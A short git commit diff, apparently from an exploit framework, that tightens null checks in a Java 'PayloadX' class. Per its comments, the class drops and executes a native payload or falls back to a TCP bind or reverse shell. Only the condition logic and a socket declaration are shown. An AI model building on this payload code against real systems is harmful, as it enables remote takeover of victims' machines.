Add checks for data being null, too, just in case

unstable
James Lee 2012-03-30 16:46:49 -06:00
parent 11a1ae3a8d
commit 6b996ed9de
1 changed files with 4 additions and 2 deletions

View File

@ -91,8 +91,10 @@ public class PayloadX implements PrivilegedExceptionAction
//System.out.println("OS: " + os);
// if we have no native payload to drop and execute we default to
// either a TCP bind or reverse shell.
if( PayloadX.data != null && PayloadX.data.length() == 0 && PayloadX.jar.length() == 0 )
{
if(
(PayloadX.data == null || PayloadX.data.length() == 0) &&
(PayloadX.jar == null || PayloadX.jar.length() == 0)
) {
//System.out.println("no, exe/jar. Doing shell");
Socket client_socket = null;